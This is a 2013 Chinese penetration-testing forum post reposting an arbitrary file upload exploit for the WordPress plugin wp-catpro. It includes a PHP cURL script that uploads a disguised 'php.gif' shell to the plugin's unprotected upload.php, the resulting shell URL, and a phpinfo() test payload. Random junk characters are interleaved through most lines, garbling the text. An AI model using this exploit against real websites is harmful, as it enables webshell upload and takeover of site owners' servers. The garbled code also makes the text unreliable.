中国网络渗透测试联盟

标题: WordPress插件wp-catpro任意文件上传 [打印本页]

作者: admin    时间: 2013-2-27 20:12
标题: WordPress插件wp-catpro任意文件上传
Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability
' M: p8 s( N, j7 ]#-----------------------------------------------------------------------1 {* A% Z0 ^/ h. s- ^/ y0 P9 n
2 C7 H; H3 D# n4 C* M+ V( O
作者  => Zikou-164 Q# r# ^% p) a" k% G1 N9 V
邮箱 => zikou16x@gmail.com+ t) w- o6 L) P  M) W, K
测试系统 : Windows 7 , Backtrack 5r3) ~7 O4 S# r$ E8 _! k/ N) v+ y
下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip
+ V, z  J$ ^- L; P& v; k# ]* Z2 n+ Q+ Q' p####/ ^$ E) _6 E4 y2 T) _) t9 Y
% j( [6 f0 w) [1 h4 f) w
#=> Exploit 信息:
2 Z9 V. m: b' q; A# ?------------------; M( U2 ?( s, \+ ?4 X& _$ X
# 攻击者可以上传 file/shell.php.gif) i) m/ U: O5 l/ V
# ("jpg", "gif", "png")  // Allowed file extensions+ `- L3 c! n6 l/ S2 P% D# J
# "/uploads/";  // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)( P. H3 C( Q5 P  J
# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)  j( k7 k! P# G  |7 n
------------------
! C% l' s$ H- ?. t* E! R  T
8 v; ?# @; e, B' V! g+ G! O$ o#=> Exploit
% J0 [! J8 r! J4 ]! V0 z! j: ^-----------9 Q  }5 Y6 O" n3 q; X" n" {6 n, J
<?php/ z( _( ?- H0 w. W& P4 X
7 g, N- O! ^/ v+ x0 \
$uploadfile="zik.php.gif";
/ X8 d! m1 m% h* S$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");
6 f/ X2 \5 P6 G; d: v0 g  ~curl_setopt($ch, CURLOPT_POST, true);0 H3 n' G: J7 Q* k9 ^. K% K1 Z
curl_setopt($ch, CURLOPT_POSTFIELDS,
. c, b5 i4 Q0 d4 ]: c9 s& v. Marray('Filedata'=>"@$uploadfile",2 e' G4 |& P$ `& j9 {& ~3 T4 @% q9 F
'folder'=>'/wp-content/uploads/catpro/'));8 Y8 r2 n* Q( I5 S% V6 [1 M0 L& ]" }+ L
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);9 g" i- ~, X' K# g% M' x) Q0 h6 W
$postResult = curl_exec($ch);
4 f; b$ [" k/ z$ x* }% a' Ucurl_close($ch);! }( {, \3 V2 G: {- A" ^
" y  o$ c8 {0 N0 ]2 M: o, f& i
print "$postResult";
4 D* _0 F6 [: c+ ?8 @  g$ `
' @: \  M% R$ R4 E* O$ CShell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif* h, w1 m8 F: T0 m& |5 ?
  ?>. ?* }$ y* m% R$ l2 }: ?2 O
<?php7 ], ^4 T% f& `6 n8 k# u- S0 h: ?
phpinfo();
1 f+ O# M1 G; y& N7 l?>




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2